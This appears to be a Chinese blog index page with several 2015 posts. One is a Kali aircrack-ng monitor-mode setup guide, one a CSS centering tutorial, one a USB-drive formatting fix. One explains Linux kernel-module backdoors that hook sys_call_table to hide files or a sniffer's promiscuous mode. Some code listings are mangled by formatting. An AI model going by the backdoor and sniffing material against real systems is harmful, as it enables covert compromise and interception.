破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单

Kali套件之nikto扫描网站漏洞应用小计


admin 发布于  2015-8-20 13:18 

最新kali2.0 aircrack-ng 无法进入监听模式问题的解决办法 Linux

2015-08-20 14.jpg

对于升级后的aircrack-ng 和以前的 大不一样,特别是监听模式的设置,很多人会出现找不到设备会命令出错的各种原因我们先去官网(http://www.aircrack-ng.org/doku.php?id=compatibility_drivers)确定自己网卡是否有被kali2集成后就可以按照以下步骤 进行新的命令操作:

第一步:在设置监听模式前先输入airmon-ng check kill结束进程

第二步:和以前一样载入网卡airmon-ng  start wlan0(自己的网卡名)

第三步:他会自动创建一个  wlan0mon接口 记住这个 接口名 而不是以前的mon0

第四步:建立监听 airodump-ng wlan0mon

如果在第四步发现出现错误 那么 有三种可能第一 你的网卡不支持监听模式,第二你的wlan0mon输入错误,第三网卡被其他进程给调用无法获取

第三种情况解决方法:

执行airmon-ng check kill

执行 ifconfig wlan0mon up

airmon-ng stop wlan0mon

最后跳回上面的第二部进行

如果还不行 那就拔掉网卡 或重启

再次ifconfig 查找时候有无线网卡 标识名一般以wlan开头

如果没有 就 ifconfig wlan0 (或者wlan1 wlan2.。。。载入) up

发现了  并载入了 wlan0跟着第一步走一般不会出错

相关推荐:

破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单

Kali套件之nikto扫描网站漏洞应用小计



admin 发布于  2015-8-20 12:59 

css样式设置小技巧汇总 PHP

水平居中设置-行内元素


如果被设置元素为文本图片行内元素时,水平居中是通过给父元素设置 text-align:center 来实现的。如下代码:

html代码:

<body>
  <div class="txtCenter">我是文本,哈哈,我想要在父容器中水平居中显示。</div>
</body>

css代码:

<style>
  div.txtCenter{ text-align:center; }
</style>

水平居中设置-定宽块状元素

当被设置元素为块状元素时用 text-align:center 就不起作用了,这时也分两种情况:定宽块状元素和不定宽块状元素。这一小节我们先来讲一讲定宽块状元素。

满足定宽块状两个条件的元素是可以通过设置左右margin”值为“auto”来实现居中的。我们来看个例子就是设置 div 这个块状元素水平居中:

html代码:

<body>
  <div>我是定宽块状元素,哈哈,我要水平居中显示。</div>
</body>

css代码:

<style>
div{
    border:1px solid red;/*为了显示居中效果明显为 div 设置了边框*/

    width:500px;/*定宽*/ margin:20px auto;/* margin-left 与 margin-right 设置为 auto */ }

</style>

也可以写成:

margin-left:auto;
margin-right:auto;

注意:元素的“上下 margin” 是可以随意设置的。

水平居中总结-不定宽块状元素方法(一)

在实际工作中我们会遇到需要为“不定宽度的块状元素”设置居中,比如网页上的分页导航,因为分页的数量是不确定的,所以我们不能通过设置宽度来限制它的弹性。

不定宽度的块状元素有三种方法居中(这三种方法目前使用的都比多):

  1. 加入 table 标签
  2. 设置 display;inline 方法
  3. 设置 position:relative 和 left:50%;

这一小节我们来讲一下第一种方法:

第一步:为需要设置的居中的元素外面加入一个 table 标签 ( 包括 <tbody>、<tr>、<td> )。

第二步:为这个 table 设置“左右 margin 居中”(这个和定宽块状元素的方法一样)。

举例如下:

html代码:

<div> <table> <tbody>
    <tr><td> <ul>
        <li><a href="#">1</a></li>
        <li><a href="#">2</a></li>
        <li><a href="#">3</a></li>
    </ul>  </td></tr>
  </tbody>
</table> </div>

css代码:

<style> table{
    margin:0 auto;
} ul{list-style:none;margin:0;padding:0;}
li{float:left;display:inline;margin-right:8px;}
</style>

水平居中总结-不定宽块状元素方法(二)

第二种方法:改变块级元素的 dispaly 为 inline 类型,然后使用 text-align:center 来实现居中效果。如下例子:

html代码:

<body>
<div class="container">
    <ul>
        <li><a href="#">1</a></li>
        <li><a href="#">2</a></li>
        <li><a href="#">3</a></li>
    </ul>
</div>
</body>

css代码:

<style>
.container{ text-align:center; }
.container ul{
    list-style:none;
    margin:0;
    padding:0; display:inline; }
.container li{
    margin-right:8px;
    display:inline;
}
</style>

这种方法相比第一种方法的优势是不用增加无语义标签,简化了标签的嵌套深度,但也存在着一些问题:它将块状元素的 display 类型改为 inline,变成了行内元素,所以少了一些功能,比如设定长度值。

水平居中总结-不定宽块状元素方法(三)

方法三:通过给父元素设置 float,然后给父元素设置 position:relative 和 left:50%,子元素设置 position:relative 和 left:-50% 来实现水平居中。

代码如下:

<body>
<div class="container">
    <ul>
        <li><a href="#">1</a></li>
        <li><a href="#">2</a></li>
        <li><a href="#">3</a></li>
    </ul>
</div>
</body>

css代码:

<style>
.container{  float:left;
    position:relative;
    left:50% }

.container ul{
    list-style:none;
    margin:0;
    padding:0;  position:relative;
    left:-50%; }
.container li{float:left;display:inline;margin-right:8px;}
</style>

这种方法可以保留块状元素仍以 display:block 的形式显示,优点不添加无语议表标签,不增加嵌套深度,但它的缺点是设置了 position:relative,带来了一定的副作用。

这三种方法使用得都非常广泛,各有优缺点,具体选用哪种方法,可以视具体情况而定。

垂直居中-父元素高度确定的单行文本

父元素高度确定的单行文本的竖直居中的方法是通过设置父元素的 heightline-height 高度一致来实现的。如下代码:

<div class="container">
    hi,Mrxn!
</div>

css代码:

<style>
.container{ height:100px;
    line-height:100px; background:#999;
}
</style>

垂直居中-父元素高度确定的多行文本(方法一)

父元素高度确定的多行文本图片块状元素的竖直居中的方法有两种:

方法一:使用插入 table (包括tbody、tr、td)标签,同时设置 vertical-align:middle。

说到竖直居中,css 中有一个用于竖直居中的属性 vertical-align,但这个样式只有在父元素为 td 或 th 时,才会生效。所以又要插入 table 标签了。下面看一下例子:

html代码:

<body> <table><tbody><tr><td class="wrap"> <div>
    <p>看我是否可以居中。</p>
    <p>看我是否可以居中。</p>
    <p>看我是否可以居中。</p>
    <p>看我是否可以居中。</p>
    <p>看我是否可以居中。</p>
</div> </td></tr></tbody></table> </body>

css代码:

table td{height:500px;background:#ccc}

因为 td 标签默认情况下就默认设置了 vertical-align 为 middle,所以我们不需要显式地设置了。

垂直居中-父元素高度确定的多行文本(方法二)

在 chrome、firefox 及 IE8 以上的浏览器下可以设置块级元素的 display 为 table-cell,激活 vertical-align 属性,但注意 IE6、7 并不支持这个样式。

html代码:

<div class="container">
    <div>
        <p>看我是否可以居中。</p>
        <p>看我是否可以居中。</p>
        <p>看我是否可以居中。</p>
        <p>看我是否可以居中。</p>
        <p>看我是否可以居中。</p>
    </div>
</div>

css代码:

<style>
.container{
    height:300px;
    background:#ccc;  display:table-cell;/*IE8以上及Chrome、Firefox*/ vertical-align:middle;/*IE8以上及Chrome、Firefox*/
}
</style>

这种方法的好处是不用添加多余的无意义的标签,但缺点也很明显,它的兼容性不是很好,不兼容 IE6、7。

隐性改变display类型

有一个有趣的现象就是当为元素(不论之前是什么类型元素,display:none 除外)设置以下 2 个句之一:

  1. position : absolute
  2. float : left 或 float:right

元素会自动变为以 display:inline-block 的方式显示,当然就可以设置元素的 width 和 height 了且默认宽度不占满父元素。

如下面的代码,小伙伴们都知道 a 标签是行内元素,所以设置它的 width 是 没有效果的,但是设置为 position:absolute 以后,就可以了。

<div class="container">
    <a href="#" title="">请单击这里</a>
</div>

css代码

<style>
.container a{ position:absolute; width:200px;
    background:#ccc;
}
</style>



admin 发布于  2015-8-19 19:09 

Linux内核级后门的原理及简单实战应用 Linux

以下代码均在linux i86 2.0.x的内核下面测试通过。它也许可以在之前的版本通过,但并没有被测试过。因为从2.1.x内核版本就引入了相当大的改变,显著地内存管理上的差别,但这些不是我们现在要讨论的内容。



用户空间与内核空间



linux是一个具有保护模式的操作系统。它一直工作在i386 cpu的保护模式之下。



内存被分为两个单元:内核区域和用户区域。内核区域存放并运行着核心代码,当然,顾名思义,用户区域也存放并运行用户程序。当然,作为用户进程来讲它是不能访问内核区域内存空间以及其他用户进程的地址空间的。



核心进程也有同样的情况。核心代码也同样不能访问用户区地地址空间。那么,这样做到底有什么意义呢?我们假设当一个硬件驱动试图去写数据到一个用户内存
空间的程序里的时候,它是不可以直接去完成的,但是它可以利用一些特殊的核心函数来间接完成。同样,当参数需要传递地址到核心函数中时,核心函数也不能直
接的来读取该参数。同样的,它可以利用一些特殊的核心函数来传递参数。



这里有一些比较有用的核心函数用来作为内核区与用户区相互传递参数用。


#include <asm/segment.h>
get_user(ptr)





从用户内存获取给定的字节,字,或者长整形。这只是一个宏(在核心代码里面有此宏的详细定义),并且它依据参数类型来确定传输数量。所以你必须巧妙地利用它。



put_user(ptr)和get_user()非常相似,但是,它不是从用户内存读取数据,而是想用户内存写数据。


memcpy_fromfs(void *to,
const void *from,unsigned long n)





从用户内存中的from拷贝n个字节到指向核心内存的指针to。


memcpy_tofs(void *to,const *from,
unsigned long n)




从核心内存中的*from拷贝n个字节数据到用户内存中的*to。

系统调用

大部分的c函数库的调用都依赖于系统调用,就是一些使用户程序可以调用的简单核心包装函数。这些系统调用运行在内核本身或者在可加载内核模块中,就是一些可动态的加载卸载的核心代码。

就象MS-DOS和其他许多系统一样,linux中的系统调用依赖一个给定的中断来调用多个系统调用。linux系统中,这个中断就是int 0x80。当调用'int 0x80'中断的时候,控制权就转交给了内核(或者,我们确切点地说, 交给_system_call()这个函数), 并且实际上是一个正在进行的单处理过程。

* _system_call()是如何工作的?

首先,所有的寄存器被保存并且%eax寄存器全面检查系统调用表,这张表列举了所有的系统调用和他们的地址信息。它可以通过extern void *sys_call_table[]来被访问到。该表中的每个定义的数值和内存地址都对应每个系统调用。大家可以在/usr/include/sys/syscall.h这个头中找到系统调用的标示数。

他们对应相应的SYS_systemcall名。假如一个系统调用不存在,那么它在sys_call_table中相应的标示就为0,并且返回一个出错信息。否则,系统调用存在并在表里相应的入口为系统调用代码的内存地址。这儿是一个有问题的系统调用例程:

[root@plaguez kernel]# cat no1.c
#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>

extern void *sys_call_table[];

sc()
{ // 165这个系统调用号是不存在的。
    __asm__(
        "movl $165,%eax
             int $0x80");
}

main()
{
    errno = -sc();
    perror("test of invalid syscall");
}
[root@plaguez kernel]
# gcc no1.c
[root@plaguez kernel]
# ./a.out
test of invalid syscall:
Function not implemented
[root@plaguez kernel]
# exit





系统控制权就会转向真正的系统调用, 用来完成你的请求并返回。 然后_system_call()调用_ret_from_sys_call()来检查不同的返回值, 并且最后返回到用户内存。


  • libc



    这int $0x80 并不是直接被用作系统调用; 更确切地是,libc函数,经常用来包装0x80中断,这样使用的。



    libc通常利用_syscallX()宏来描述系统调用,X是系统调用的总参数个数。



    举个例子吧,
    libc中的write(2)就是利用_syscall3这个系统调用宏来实现的,因为实际的write(2)原型需要3个参数。在调用0x80中断之
    前,这个_syscallX宏假定系统调用的堆栈结构和要求的参数列表,最后,当 _system_call()(通过int
    &0x80来引发)返回的时候,_syscallX()宏将会查出错误的返回值(在%eax)并且为其设置errno。

    让我们看一下另一个write(2)例程并看看它是如何进行预处理的。





    [root@plaguez kernel]# cat no2.c
    #include <linux/types.h>
    #include <linux/fs.h>
    #include <sys/syscall.h>
    #include <asm/unistd.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <ctype.h>
    
    

    _syscall3(ssize_t,write,int,fd,const void ,buf,size_t,count);/构建一个write调用*/

    main()
    {
    char *t = "this is a test.\n";
    write(0, t, strlen(t));
    }
    [root@plaguez kernel]

    gcc -E no2.c > no2.C

    [root@plaguez kernel]

    indent no2.C -kr

    indent:no2.C:3304: Warning:
    old style assignment ambiguity in
    "=-". Assuming "= -"

    [root@plaguez kernel]# tail -n 50 no2.C

    9 "no2.c" 2

    ssize_t write(int fd,
    const void *buf, size_t count)
    {
    long res;
    asm volatile("int $0x80":"=a"
    (res):"0"(4), "b"((long) (fd)),
    "c"((long) (buf)),
    "d"((long) (count)));
    if (
    res >= 0)
    return (ssize_t) res;
    errno = -
    res;
    return -1;
    };

    main()
    {
    char *t = "this is a test.\n";
    write(0, t, strlen(t));
    }
    [root@plaguez kernel]# exit








    注意那个write()里的"0"这个参数匹配SYS_write,在/usr/include/sys/syscall.h中定义。


    • 构建你自己的系统调用。



      这里给出了几个构建你自己的系统调用的方法。举个例子,你可以修改内核代码并且加入你自己的代码。一个比较简单可行的方法,不过,一定要被写成可加载内核模块。



      没有一个代码可以象可加载内核模块那样可以当内核需要的时候被随时加载的。我们的主要意图是需要一个很小的内核,当我们需要的时候运行insmod命令,给定的驱动就可以被自动加载。这样卸除来的lkm程序一定比在内核代码树里写代码要简单易行多了。


    • 写lkm程序

      一个lkm程序可以用c来很容易编写出来。它包含了大量的#defines,一些函数,一个初始化模块的函数,叫做init_module(),和一个卸载函数:cleanup_module()。

      这里有一个经典的lkm代码结构:




      #define MODULE
      #define __KERNEL__
      #define __KERNE_SYSCALLS__
      
      

      include <linux/config.h>

      ifdef MODULE

      include <linux/module.h>

      include <linux/version.h>

      else

      define MOD_INC_USE_COUNT

      define MOD_DEC_USE_COUNT

      endif

      include <linux/types.h>

      include <linux/fs.h>

      include <linux/mm.h>

      include <linux/errno.h>

      include <asm/segment.h>

      include <sys/syscall.h>

      include <linux/dirent.h>

      include <asm/unistd.h>

      include <sys/types.h>

      include <stdio.h>

      include <errno.h>

      include <fcntl.h>

      include <ctype.h>

      int errno;

      char tmp[64];

      / 假如,我们要用到ioctl调用 /
      _syscall3(int, ioctl, int, d,
      int, request, unsigned long, arg);

      int myfunction(int parm1,char parm2)
      {
      int i,j,k;
      /
      ... */
      }

      int init_module(void)
      {
      / ... /
      printk("\nModule loaded.\n");
      return 0;
      }

      void cleanup_module(void)
      {
      / ... /
      }








      检查代码中的


      #defines (#define MODULE, #define __KERNEL__)
      和
      #includes (#include <linux/config.h> ...)





      一定要注意的是我们的lkm讲要被运行在内核状态,我们就不能用libc包装的函数了,但是我们可以通过前面所讨论的_syscallX()宏来构建系
      统调用。你可以这样编译你的模块'gcc -c -O3 module.c' 并且利用'insmod module.o'来加载。



      提一个建议,lkm也可以用来在不完全重建核心代码的情况下来修改内核代码。举个例子, 你可以修改write系统调用让它隐藏一部分给定的文件,就象我们把我们的backdoors放到一个非常好的地方:当你无法再信任你的系统内核的时候会怎么样呢?


      • 内核和系统调用后门



        在简单介绍了上述理论,我们主要可以用来做什么呢。我们可以利于lkm截获一些对我们有影响的系统调用,这样可以强制内核按照我们的方式运行。例如:我们可以利用ioctl系统调用来隐藏sniffer所造成的网卡PROMISC模式的显示。非常有效。



        去改变一个给定的系统调用,只需要在你的lkm程序中增加一个定义extern void
        *sys_call_table[],并且利用init_module()函数来改变sys_call_table里的入口来指向我们自己的代码。改变后
        的调用可以做我们希望它做的一切事情,利用改变sys_call_table来导出更多的原系统调用。



admin 发布于  2015-8-19 01:32 

使用Win32DiskImager做安装kali启动U盘后的那些事儿 Linux

如题,前几天不是kali风骚的流产了么。。。他们的新儿子kali2.0,我就试试感觉咋样,于是呢,就需要使用Win32DiskImager来做kali的安装启动U盘啊,一切顺利。。。只是在安装完之后,我切换到win10时候,插入U盘发现U盘容量有问题。。。

08-20-32-42.png

原本是8G的U盘,咋变这么小呢。。。开始尝试使用系统格式化工具-格式化,但是问题出现了。。。还是这么大、、、08-20-34-39.png

然后呢,以我如今的能力,只能借助软件了。。。08-20-34-54.png

FormatTool..是个很不错的软件,但是你的自己记住你的U盘的盘符 g h j 等等。。。我的是J .把强制格式化复选框选上之后,确定,稍作等待。就OK了:08-20-37-18.png

容量就恢复了。。。goodsoft!对了软件下载地址:http://pan.baidu.com/s/1o6mW0Ls  方便需要的童鞋下载。

标签: Kali 格式化

admin 发布于  2015-8-18 19:39